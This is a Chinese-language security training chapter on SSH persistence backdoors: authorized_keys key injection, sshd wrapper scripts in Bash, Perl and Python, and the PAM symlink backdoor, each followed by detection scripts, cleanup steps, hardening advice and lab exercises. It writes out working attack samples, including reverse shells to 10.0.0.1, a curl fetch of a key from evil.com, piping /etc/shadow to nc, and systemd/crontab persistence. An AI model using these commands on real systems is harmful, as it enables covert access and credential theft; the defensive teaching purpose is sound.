SSH authorized_keys 后门 id:: ssh-backdoor-16
概述 SSH 是 Linux 系统最核心的远程管理协议,也是攻击者最青睐的持久化目标
本节覆盖三种经典的 SSH 后门技术:
authorized_keys 公钥注入 — 植入攻击者公钥实现免密登录
SSH Wrapper 后门 — 替换 sshd 二进制或包装脚本,截获密码
SSH 软链接后门 — 利用 PAM 认证机制实现任意密码登录
每种后门都给出攻击原理、真实样本和检测方法
关于 SSH 暴力破解和未授权访问的排查,参见 10-SSH暴力破解与未授权访问
关于账户安全排查,参见 04-账户安全排查
1. authorized_keys 公钥注入 1.1 标准公钥植入 攻击原理 攻击者将自己的 SSH 公钥追加到目标用户的 ~/.ssh/authorized_keys 文件中
此后攻击者可以使用对应私钥直接免密登录,无需知道用户密码
攻击步骤 1 2 3 4 5 6 7 8 9 10 11 12 ssh-keygen -t ed25519 -f /tmp/backdoor_key -N "" echo "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIHxxxxxxxxxxxxxxxx attacker@c2" >> /root/.ssh/authorized_keysmkdir -p /root/.ssh && chmod 700 /root/.ssh && echo "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIHxxxxxxxxxxxxxxxx" >> /root/.ssh/authorized_keys && chmod 600 /root/.ssh/authorized_keyscurl -fsSL http://evil.com/key.pub >> /root/.ssh/authorized_keys
检测方法 1 2 3 4 5 6 7 8 9 10 11 12 for user_home in $(awk -F: '$3>=1000||$3==0{print $6}' /etc/passwd); do ak_file="$user_home /.ssh/authorized_keys" if [ -f "$ak_file " ]; then echo "=== $ak_file ===" cat "$ak_file " echo "--- 文件属性 ---" ls -la "$ak_file " stat "$ak_file " echo "" fi done
关注要点 是否存在不认识的公钥(对比 comment 字段)
文件修改时间是否异常
是否存在 root 用户的 authorized_keys(通常不应有)
1.2 command= 选项后门 攻击原理 authorized_keys 支持 command= 前缀选项,指定 SSH 登录时 强制执行 的命令
攻击者可以利用此机制在每次 SSH 登录时自动执行后门命令
样本 1 2 3 4 5 6 7 8 9 10 11 12 13 14 command ="(bash -i >& /dev/tcp/10.0.0.1/4444 0>&1 &); $SHELL " ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIHxxxxxxxx user@hostcommand ="curl -s http://evil.com/log?user=$(whoami) &host=$(hostname) ; $SHELL -il" ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIHxxxxxxxx user@hostcommand ="cat /etc/shadow | nc 10.0.0.1 5555" ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIHxxxxxxxx user@hostcommand ="(nohup bash -c 'bash -i >& /dev/tcp/10.0.0.1/4444 0>&1' &>/dev/null &); if [ -n \"$SSH_ORIGINAL_COMMAND \" ]; then eval \"$SSH_ORIGINAL_COMMAND \"; else exec $SHELL -l; fi" ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIHxxxxxxxx
检测方法 1 2 3 4 5 6 7 8 find / -name "authorized_keys" -o -name "authorized_keys2" 2>/dev/null | \ while read f; do if grep -q "command=" "$f " 2>/dev/null; then echo -e "\033[0;31m[!] 发现 command= 选项: $f \033[0m" grep "command=" "$f " fi done
注意 command= 是合法功能,某些自动化系统(如 GitLab、backup 脚本)会使用
需要人工判断 command 内容是否合法
1.3 from= 选项 说明 from= 限制该公钥只能从指定 IP 地址登录
攻击者用它确保只有自己的 C2 IP 能使用植入的密钥
样本 1 2 3 4 5 from="10.0.0.1" ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIHxxxxxxxx from="10.0.0.1" ,command ="(bash -i >& /dev/tcp/10.0.0.1/4444 0>&1 &); $SHELL " ,no-agent-forwarding,no-X11-forwarding ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIHxxxxxxxx
1.4 environment= 选项 前提条件 sshd_config 中必须设置 PermitUserEnvironment yes(默认为 no)
样本 1 2 3 4 5 environment="LD_PRELOAD=/tmp/.evil.so" ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIHxxxxxxxx environment="PATH=/tmp/.bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin" ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIHxxxxxxxx
检测 1 2 3 4 5 grep -i "PermitUserEnvironment" /etc/ssh/sshd_config find / -name "authorized_keys*" 2>/dev/null -exec grep -l "environment=" {} \;
1.5 在多个用户下植入 攻击者通常不只植入 root,还会在多个用户的 authorized_keys 中植入公钥
1 2 3 4 5 6 7 8 PUBKEY="ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIHxxxxxxxx" for user_home in /root /home/*; do mkdir -p "$user_home /.ssh" 2>/dev/null echo "$PUBKEY " >> "$user_home /.ssh/authorized_keys" 2>/dev/null chmod 700 "$user_home /.ssh" 2>/dev/null chmod 600 "$user_home /.ssh/authorized_keys" 2>/dev/null done
全面检查脚本 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 #!/bin/bash echo "==========================================" echo " SSH authorized_keys 全面检查" echo "==========================================" while IFS=: read -r user _ uid _ _ home _; do for ak in "$home /.ssh/authorized_keys" "$home /.ssh/authorized_keys2" ; do [ -f "$ak " ] || continue echo -e "\n--- 用户: $user ($ak ) ---" key_count=$(grep -c "^[^#]" "$ak " 2>/dev/null) echo "公钥数量: $key_count " while read -r line; do "$line " =~ ^# && continue -z "$line " && continue echo " $line " | awk '{print " 类型:", $1, " Comment:", $NF}' echo "$line " | grep -qE "command=|environment=|from=" && \ echo -e " \033[1;33m[!] 包含特殊选项\033[0m: $(echo "$line " | grep -oE '(command|environment|from) =" [^"]*" ')" done < "$ak" # 检查文件修改时间 echo " 最后修改: $(stat -c ' %y' "$ak" 2>/dev/null || stat -f ' %Sm' "$ak" 2>/dev/null)" done done < /etc/passwd
1.6 authorized_keys 的非标准位置 sshd_config 中的 AuthorizedKeysFile 可以指定非标准路径
1 2 3 4 5 6 7 grep -i "AuthorizedKeysFile" /etc/ssh/sshd_config
检测时必须先确认 AuthorizedKeysFile 的实际配置路径
2. SSH Wrapper 后门 2.1 攻击原理 攻击者将原始 sshd 二进制重命名,用一个包装脚本替代
包装脚本在用户登录时 截获密码 ,发送到 C2 服务器,然后调用原始 sshd 完成正常认证
用户无感知,登录过程完全正常
2.2 Bash 实现 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 mv /usr/sbin/sshd /usr/sbin/sshd.origcat > /usr/sbin/sshd << 'WRAPPER' strace -f -e trace=read -p $$ -o /tmp/.sshd.log 2>/dev/null & /usr/sbin/sshd.orig "$@ " WRAPPER chmod 755 /usr/sbin/sshd
2.3 Perl 实现(更常见的野外样本) 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 use strict;use IO::Socket;use POSIX;my $LOG_FILE = "/tmp/.ilog" ; my $C2_HOST = "10.0.0.1" ;my $C2_PORT = 5555 ;my $pid = fork ();exit 0 if $pid ;my $server = IO::Socket::INET->new( LocalPort => 22 , Type => SOCK_STREAM, Reuse => 1 , Listen => 10 ) or die "Cannot listen: $! \n" ; while (my $client = $server ->accept ()) { my $child = fork (); next if $child ; my $real_sshd = IO::Socket::INET->new( PeerAddr => "127.0.0.1" , PeerPort => 2222 , Proto => "tcp" ); close $client ; exit 0 ; }
以上为简化示例,实际野外样本通常更加复杂,包含完整的 SSH 协议中间人功能
2.4 Python 实现 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 """SSH Wrapper 后门 - Python 实现""" import subprocessimport sysimport osimport socketimport threadingREAL_SSHD = "/usr/sbin/sshd.orig" LOG_SERVER = ("10.0.0.1" , 5555 ) def send_log (data ): """将截获的数据发送到 C2""" try : s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(3 ) s.connect(LOG_SERVER) s.send(data.encode()) s.close() except : pass def main (): os.execv(REAL_SSHD, [REAL_SSHD] + sys.argv[1 :]) if __name__ == "__main__" : main()
2.5 检测方法 方法 1:文件类型检查
方法 2:包管理器校验 1 2 3 4 5 6 7 8 9 10 11 12 dpkg -V openssh-server debsums openssh-server rpm -V openssh-server
方法 3:MD5/SHA256 校验 1 2 3 4 5 6 7 8 9 10 sha256sum /usr/sbin/sshdapt-get download openssh-server dpkg -x openssh-server_*.deb /tmp/sshd_check/ sha256sum /tmp/sshd_check/usr/sbin/sshd
方法 4:查找备份的原始 sshd 1 2 3 find / -name "sshd*" -o -name ".sshd*" 2>/dev/null
方法 5:检查 sshd 进程 1 2 3 4 5 6 ls -la /proc/$(pgrep -o sshd)/exelsof -p $(pgrep -o sshd) | grep -v "\.so"
3. SSH 软链接后门 3.1 攻击原理 核心思路 :利用 Linux PAM(Pluggable Authentication Modules)的服务名匹配机制
PAM 根据 进程名 查找 /etc/pam.d/ 下的同名配置文件
su 的 PAM 配置中包含 pam_rootok.so(sufficient),允许 root 用户无需密码
如果将 sshd 软链接为 /tmp/su,启动后进程名变为 su,PAM 会使用 /etc/pam.d/su 的配置
因为 sshd 以 root 身份运行,pam_rootok.so 直接通过认证,任意密码即可登录
3.2 攻击步骤 1 2 3 4 5 6 7 8 9 ln -sf /usr/sbin/sshd /tmp/su/tmp/su -oPort=31337 ssh root@target -p 31337
3.3 PAM 机制详解 PAM 服务名匹配流程 1 2 3 4 5 6 7 8 9 10 11 12 13 14 进程名: su (实际是 sshd 的软链接) ↓ PAM 查找: /etc/pam.d /su ↓ /etc/pam.d /su 内容: auth sufficient pam_rootok.so ← 关键! auth required pam_unix.so ... ↓ pam_rootok.so 检查: 调用者是否为 root? ↓ sshd 以 root 运行 → 检查通过 (sufficient) ↓ 认证成功,任意密码均可登录
/etc/pam.d/su 关键配置1 2 3 4 5 6 7 8 cat /etc/pam.d/su
sufficient 表示:如果此模块验证成功,则无需后续模块验证,直接通过
pam_rootok.so:检查调用者的 UID 是否为 0(root)
其他可利用的 PAM 配置 不仅限于 su,任何 PAM 配置中包含 pam_rootok.so sufficient 的服务都可利用
1 2 3 4 5 6 7 8 9 grep -rl "pam_rootok" /etc/pam.d/ ln -sf /usr/sbin/sshd /tmp/suln -sf /usr/sbin/sshd /tmp/chfnln -sf /usr/sbin/sshd /tmp/chshln -sf /usr/sbin/sshd /tmp/runuser
3.4 持久化方式 单纯的软链接重启后不会自动启动,攻击者通常结合其他持久化手段
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 echo "/tmp/su -oPort=31337" >> /etc/rc.localcat > /etc/systemd/system/system-update.service << 'EOF' [Unit] Description=System Update Service After=network.target [Service] Type=simple ExecStart=/tmp/su -oPort=31337 Restart=always [Install] WantedBy=multi-user.target EOF systemctl enable system-update.service echo "@reboot /tmp/su -oPort=31337" | crontab -
3.5 检测方法 方法 1:检查异常端口 1 2 3 4 5 6 netstat -antlp 2>/dev/null | grep -E "sshd|/su|/chfn|/chsh|/runuser" ss -antlp | grep -E "sshd|/su|/chfn|/chsh|/runuser" netstat -antlp | grep -v ":22 " | grep sshd
方法 2:检查 sshd 的软链接 1 2 3 4 5 6 7 8 9 10 find / -type l -exec ls -la {} \; 2>/dev/null | grep sshd find / -type l 2>/dev/null | while read link ; do target=$(readlink -f "$link " 2>/dev/null) if [ "$target " = "/usr/sbin/sshd" ] && [ "$link " != "/usr/sbin/sshd" ]; then echo "[!] 发现 sshd 软链接后门: $link -> $target " fi done
方法 3:检查进程名与实际二进制不匹配 1 2 3 4 5 6 7 8 9 10 11 12 ps aux | grep -E "sshd|31337|su.*-oPort" ls -la /proc/*/exe 2>/dev/null | grep sshdfor pid in $(pgrep -f "sshd|su.*-oPort" ); do exe=$(readlink /proc/$pid /exe 2>/dev/null) cmdline=$(cat /proc/$pid /cmdline 2>/dev/null | tr '\0' ' ' ) echo "PID: $pid | EXE: $exe | CMD: $cmdline " done
方法 4:综合检测脚本 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 #!/bin/bash RED='\033[0;31m' NC='\033[0m' echo "=== SSH 软链接后门检测 ===" echo "[1] 检查 sshd 软链接..." find / -type l 2>/dev/null | while read link ; do target=$(readlink -f "$link " 2>/dev/null) if echo "$target " | grep -q "sshd" ; then echo -e "${RED} [!] 可疑软链接: $link -> $target${NC} " fi done echo "[2] 检查异常 SSH 监听端口..." ss -antlp 2>/dev/null | while read line; do if echo "$line " | grep -qE "su|chfn|chsh|runuser" ; then echo -e "${RED} [!] 可疑监听: $line${NC} " fi done echo "[3] 检查含 pam_rootok.so 的 PAM 服务..." grep -rl "pam_rootok" /etc/pam.d/ 2>/dev/null echo "[完成]"
关于 SSH 软链接后门的更多深入分析,参见 25-SSH软链接后门
4. SSH 后门配置检测 4.1 sshd_config 中的隐蔽后门配置 攻击者可能修改 sshd_config 来降低安全性或开启后门功能
配置项
危险值
风险说明
PermitRootLogin
yes
允许 root 直接登录
PasswordAuthentication
yes
允许密码登录(可能已被禁用)
PermitEmptyPasswords
yes
允许空密码登录
AuthorizedKeysFile
非标准路径
将公钥文件隐藏到不常见位置
PubkeyAuthentication
yes
确保公钥认证开启
UsePAM
yes
PAM 认证(软链接后门依赖此项)
PermitUserEnvironment
yes
允许用户设置环境变量(LD_PRELOAD 等)
GatewayPorts
yes
允许远程端口转发绑定到所有接口
AllowTcpForwarding
yes
允许 TCP 转发
Port
非标准端口
可能新增了额外监听端口
ListenAddress
0.0.0.0
监听所有接口
4.2 sshd_config 包含目录 OpenSSH 8.x 之后支持 Include 指令
1 2 3 4 5 6 7 8 9 10 11 12 13 14 Include /etc/ssh/sshd_config.d/*.conf cat > /etc/ssh/sshd_config.d/00-backdoor.conf << 'EOF' PermitRootLogin yes PasswordAuthentication yes PermitEmptyPasswords yes EOF grep -rn "Include" /etc/ssh/sshd_config ls -la /etc/ssh/sshd_config.d/ 2>/dev/nullcat /etc/ssh/sshd_config.d/*.conf 2>/dev/null
4.3 全面 SSH 排查脚本 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 #!/bin/bash RED='\033[0;31m' YELLOW='\033[1;33m' GREEN='\033[0;32m' NC='\033[0m' echo "==========================================" echo " SSH 后门全面排查" echo "==========================================" echo -e "\n${YELLOW} [1] sshd 二进制完整性检查${NC} " file /usr/sbin/sshd sha256sum /usr/sbin/sshdrpm -V openssh-server 2>/dev/null || debsums openssh-server 2>/dev/null || echo "无法进行包校验" echo -e "\n${YELLOW} [2] sshd_config 安全配置检查${NC} " for key in PermitRootLogin PasswordAuthentication PermitEmptyPasswords \ PermitUserEnvironment AuthorizedKeysFile GatewayPorts Port; do value=$(grep -i "^$key " /etc/ssh/sshd_config 2>/dev/null | tail -1) [ -n "$value " ] && echo " $value " || echo " $key : (默认值)" done if grep -q "^Include" /etc/ssh/sshd_config 2>/dev/null; then echo -e "${YELLOW} [!] 发现 Include 指令:${NC} " grep "^Include" /etc/ssh/sshd_config for conf in /etc/ssh/sshd_config.d/*.conf 2>/dev/null; do [ -f "$conf " ] && echo " --- $conf ---" && cat "$conf " done fi echo -e "\n${YELLOW} [3] authorized_keys 检查${NC} " ak_path=$(grep -i "^AuthorizedKeysFile" /etc/ssh/sshd_config 2>/dev/null | awk '{print $2}' ) [ -z "$ak_path " ] && ak_path=".ssh/authorized_keys" echo " AuthorizedKeysFile 路径: $ak_path " while IFS=: read -r user _ uid _ _ home _; do for ak in "$home /.ssh/authorized_keys" "$home /.ssh/authorized_keys2" ; do [ -f "$ak " ] || continue count=$(grep -c "^[^#]" "$ak " 2>/dev/null) has_cmd=$(grep -c "command=" "$ak " 2>/dev/null) has_env=$(grep -c "environment=" "$ak " 2>/dev/null) echo " 用户 $user : $count 个公钥 (command=$has_cmd , environment=$has_env ) - $ak " [ "$has_cmd " -gt 0 ] && echo -e " ${RED} [!] 存在 command= 选项${NC} " [ "$has_env " -gt 0 ] && echo -e " ${RED} [!] 存在 environment= 选项${NC} " done done < /etc/passwdecho -e "\n${YELLOW} [4] SSH 软链接后门检测${NC} " find / -type l 2>/dev/null | while read link ; do target=$(readlink -f "$link " 2>/dev/null) [ "$target " = "/usr/sbin/sshd" ] && [ "$link " != "/usr/sbin/sshd" ] && \ echo -e " ${RED} [!] sshd 软链接: $link -> $target${NC} " done echo -e "\n${YELLOW} [5] SSH 监听端口检查${NC} " ss -antlp 2>/dev/null | grep -E "ssh|sshd|:22 " | while read line; do echo " $line " done echo -e "\n${YELLOW} [6] SSH 相关进程${NC} " ps aux | grep -E "[s]shd" | while read line; do echo " $line " done echo -e "\n${YELLOW} [7] 查找可能的 sshd 备份文件${NC} " find / -name "sshd*" -o -name ".sshd*" 2>/dev/null | grep -v "/proc/" | while read f; do echo " $f ($(file "$f " | awk -F: '{print $2}') )" done echo -e "\n${GREEN} [完成] SSH 后门排查完毕${NC} "
5. 清除与加固 5.1 authorized_keys 后门清除 删除不认识的公钥条目
删除包含可疑 command=、environment= 选项的条目
1 2 3 4 cp ~/.ssh/authorized_keys ~/.ssh/authorized_keys.bak.$(date +%s)vim ~/.ssh/authorized_keys
5.2 SSH Wrapper 后门清除 1 2 3 4 5 6 7 mv /usr/sbin/sshd.orig /usr/sbin/sshdapt-get install --reinstall openssh-server yum reinstall openssh-server systemctl restart sshd
5.3 SSH 软链接后门清除 1 2 3 4 5 6 7 rm /tmp/su kill $(pgrep -f "su.*-oPort" )
5.4 加固措施 禁止 root 直接 SSH 登录:PermitRootLogin no
禁用密码认证,仅允许公钥:PasswordAuthentication no
禁止空密码:PermitEmptyPasswords no
禁止用户环境变量:PermitUserEnvironment no
限制 SSH 用户:AllowUsers <username>
使用 fail2ban 防暴力破解
定期检查 authorized_keys 文件
使用 AIDE/OSSEC 监控 sshd 二进制和配置文件变更
6. 配套实验 实验环境 目录:labs/11-persistence-ssh/
靶机:Ubuntu 22.04 / CentOS 7
实验内容 实验 1 :在靶机上植入 authorized_keys 公钥后门(包含 command= 变体),然后使用检测脚本发现
实验 2 :搭建 SSH Wrapper 后门(Bash 版本),验证密码记录功能,然后通过 file 和 rpm -V 检测
实验 3 :搭建 SSH 软链接后门,理解 PAM 认证流程,验证任意密码登录,然后通过端口扫描和软链接查找检测
实验 4 :修改 sshd_config 开启各种不安全配置,练习配置审计
实验 5 :运行全面 SSH 排查脚本,清除所有后门并加固
参考链接 10-SSH暴力破解与未授权访问 — SSH 暴力破解排查
04-账户安全排查 — 账户安全排查
25-SSH软链接后门 — 软链接后门深入分析
15-Crontab后门 — Crontab 持久化后门
17-Systemd-Service后门 — Systemd 持久化后门